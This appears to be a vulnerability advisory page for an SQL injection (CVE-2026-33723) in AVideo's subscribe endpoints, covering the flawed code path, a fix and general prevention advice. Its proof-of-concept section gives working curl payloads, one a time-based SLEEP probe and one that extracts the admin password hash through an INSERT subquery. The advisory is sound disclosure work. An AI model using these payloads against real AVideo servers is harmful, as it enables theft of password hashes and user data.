Skip to content

GHSA-ffr8-fxhv-fv8h CVE-2026-33723

AVideo is Vulnerable to SQL Injection through Subscribe Endpoint via Unsanitized user_id Parameter

Medium Packagist
Severity
7.1 / 10
Medium · CVSS 3.1
Exploit chance (EPSS)
0.23%
Chance of exploitation in the next 30 days. Higher than 13.57% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-89 Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Fix
None yet
No fixed version published

Description

Summary

The Subscribe::save() method in objects/subscribe.php concatenates the $this->users_id property directly into an INSERT SQL query without sanitization or parameterized binding. This property originates from $_POST['user_id'] in both subscribe.json.php and subscribeNotify.json.php. An authenticated attacker can inject arbitrary SQL to extract sensitive data from any database table, including password hashes, API keys, and encryption salts.

Details

The vulnerability exists because of a disconnect between where intval() is applied and where the value is used in SQL.

Entry points — objects/subscribe.json.php:40 and objects/subscribeNotify.json.php:23:

// subscribe.json.php line 40
$subscribe = new Subscribe(0, $_POST['email'], $_POST['user_id'], User::getId());

Constructor stores raw value — objects/subscribe.php:34:

public function __construct($id, $email = "", $user_id = "", $subscriber_users_id = "")
{
    // ...
    $this->users_id = $user_id;  // Raw $_POST['user_id'], no sanitization
    $this->subscriber_users_id = $subscriber_users_id;
    if (empty($this->id)) {
        $this->loadFromId($this->subscriber_users_id, $user_id, "");
    }
}

getSubscribeFromID sanitizes local copies only — objects/subscribe.php:137-139:

public static function getSubscribeFromID($subscriber_users_id, $user_id, $status = "a"){
    $subscriber_users_id = intval($subscriber_users_id);  // Local variable only
    $user_id = intval($user_id);  // Local variable only — $this->users_id is NOT affected

When getSubscribeFromID finds no matching subscription (the attacker simply targets a user_id they haven't subscribed to), loadFromId() returns false. The object's $this->id remains null, and $this->users_id retains the unsanitized injection payload.

Vulnerable sink — objects/subscribe.php:88:

public function save()
{
    if (!empty($this->id)) {
        // UPDATE path (not reached when $this->id is null)
    } else {
        $this->status = 'a';
        $sql = "INSERT INTO subscribes (users_id, email, status, ip, created, modified, subscriber_users_id) 
                VALUES ('{$this->users_id}', ...";  // Direct concatenation of injected value
    }
    $saved = sqlDAL::writeSql($sql);  // Called with NO $formats or $values

sqlDAL::writeSql provides no protection — objects/mysql_dal.php:102:

When called without $formats/$values parameters (as save() does), the eval_mysql_bind() function at line 636 returns true without binding any parameters. The already-concatenated SQL string is passed directly to $global['mysqli']->prepare() and execute(), executing the injection as the prepared statement itself.

PoC

Prerequisites: An authenticated session on the target AVideo instance.

Step 1: Confirm injection with time-based blind SQLi

# Pick a user_id that the current user has NOT subscribed to (e.g., 99999)
# The SLEEP(5) will cause a ~5 second delay confirming injection
curl -s -o /dev/null -w "%{time_total}" \
  -b 'PHPSESSID=VALID_SESSION_ID' \
  -d "user_id=99999'+AND+SLEEP(5)+AND+'1" \
  https://target/objects/subscribe.json.php
# Expected: ~5 second response time (vs <1 second normally)

Step 2: Extract admin password hash via INSERT subquery

# Inject a subquery that reads the admin password hash into the email column
curl -b 'PHPSESSID=VALID_SESSION_ID' \
  -d "user_id=99999',(SELECT+pass+FROM+users+WHERE+isAdmin=1+LIMIT+1),'a','1.1.1.1',now(),now(),'1');%23" \
  https://target/objects/subscribe.json.php

This closes the VALUES clause with attacker-controlled data and comments out the rest of the query. The admin password hash is inserted into the email column of the subscribes table, which can be read back via the subscription list API.

Step 3: Read exfiltrated data

The injected row is readable via any endpoint that queries the subscribes table and returns the email field (e.g., getAllSubscribes()).

The same attack works against objects/subscribeNotify.json.php via the same user_id parameter.

Impact

  • Full database read access: An attacker with any authenticated account can extract arbitrary data from all database tables using INSERT subqueries, including:
    • User password hashes (users.pass)
    • Admin credentials
    • Encryption salts and API keys from configuration tables
    • Email addresses and personal data of all users
  • Data integrity: The attacker can insert arbitrary rows into the subscribes table.
  • Two affected endpoints: Both subscribe.json.php and subscribeNotify.json.php pass raw $_POST['user_id'] to the vulnerable code path.

Recommended Fix

Apply intval() to $this->users_id before use in the constructor, or better yet, use parameterized queries in save().

Option 1 — Sanitize in constructor (minimal fix):

// objects/subscribe.php, constructor (line 34)
- $this->users_id = $user_id;
+ $this->users_id = intval($user_id);

Option 2 — Use parameterized query in save() (recommended):

// objects/subscribe.php, save() method (lines 87-90)
public function save()
{
    global $global;
    if (!empty($this->id)) {
        $sql = "UPDATE subscribes SET status = ?, notify = ?, ip = ?, modified = now() WHERE id = ?";
        $saved = sqlDAL::writeSql($sql, "sssi", [$this->status, $this->notify, getRealIpAddr(), $this->id]);
    } else {
        $this->status = 'a';
        $sql = "INSERT INTO subscribes (users_id, email, status, ip, created, modified, subscriber_users_id) VALUES (?, ?, ?, ?, now(), now(), ?)";
        $saved = sqlDAL::writeSql($sql, "isssi", [intval($this->users_id), $this->email, $this->status, getRealIpAddr(), intval($this->subscriber_users_id)]);
    }

Option 2 is strongly recommended as it also fixes the unsanitized $this->email, $this->status, and getRealIpAddr() values in both the INSERT and UPDATE paths, preventing any future injection through those fields.

Affected versions

Packagist

PackageVulnerableFixed in
wwbn/avideo
<= 26.0
No fix yet

How to fix

No fixed version has been published yet. Until one is, remove or replace the package, or turn off or isolate the affected feature. This page updates when a fix ships.

Severity breakdown

CVSS 3.1 7.1

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
Low
Availability
None

Weakness

CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.

How to prevent it
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. For example, consider using persistence layers such as Hibernate or Enterprise Java Beans, which can provide significant protection against SQL injection if used properly.
  • Architecture and Design: If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated. Process SQL queries using prepared statements, parameterized queries, or stored procedures. These features should accept parameters or variables and support strong typing. Do not dynamically construct and execute query strings within these features using "exec" or similar functionality, since this may re-introduce the possibility of SQL injection. [REF-867]
  • Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations. Specifically, follow the principle of least privilege when creating user accounts to a SQL database. The database users should only have the minimum privileges necessary to use their account. If the requirements of the system indicate that a user can read and modify their own data, then limit their privileges so they cannot read/write others' data. Use the strictest permissions possible on all database objects, such as execute-only for stored procedures.
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Implementation: While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88). Instead of building a new implementation, such features may be available in the database or programming language. For example, the Oracle DBMS_ASSERT package can check or enforce that parameters have certain properties that make them less vulnerable to SQL injection. For MySQL, the mysql_real_escape_string() API function is available in both C and PHP.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When constructing SQL query strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping. Note that proper output encoding, escaping, and quoting is the most effective solution for preventing SQL injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent SQL injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, the name "O'Reilly" would likely pass the validation step, since it is a common last name in the English language. However, it cannot be directly inserted into the data
  • Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
  • Implementation: Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not. In the context of SQL Injection, error messages revealing the structure of a SQL query can help attackers tailor successful attack strings.
  • Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481.
  • Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-7cqp-7cfv-6c3q
AVideo Meet plugin: anonymous-to-admin stored XSS via unescaped participant User-Agent in getMeetInfo.json.php Participants panel
Medium Also affects wwbn/avideo
GHSA-wc3f-xc32-435f
AVideo has an incomplete fix of CVE-2026-33482: sanitizeFFmpegCommand still allows a single '&' (background operator), giving OS command execution at the same execAsync sh -c sink
High Also affects wwbn/avideo
GHSA-95jh-7r58-xmxw
AVideo has an Authorize.Net Webhook Signature Bypass that Enables Wallet Balance Inflation via Forged Payment Data
Medium Also affects wwbn/avideo
GHSA-wf69-r4mx-43rr
AVideo Vulnerable to Unauthenticated .env File Exposure via Official Docker Compose Configuration
High Also affects wwbn/avideo
GHSA-8j8m-p79x-g4jm
AVideo's Privilege Escalation via Unguarded Permission Parameters in signUp API Allows Self-Granting Upload/Stream/Meet Permissions
Medium Also affects wwbn/avideo
GHSA-8whc-2wmv-ww35
WWBN AVideo: Unauthenticated Stored DOM Cross-Site Scripting via Per-Client Metadata Broadcast in YPTSocket Plugin
Critical Also affects WWBN/AVideo
GHSA-66q5-cj5g-wrfx
WWBN AVideo: Stored XSS via Hostile YouTube Video Title in AVideo YouTubeAPI Gallery Section
Medium Also affects WWBN/AVideo
GHSA-hgjh-6wj8-gcgf
WWBN AVideo: Unauthenticated Reflected XSS via $_GET['search'] in AVideo YouTubeAPI Gallery Pagination
Medium Also affects WWBN/AVideo
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor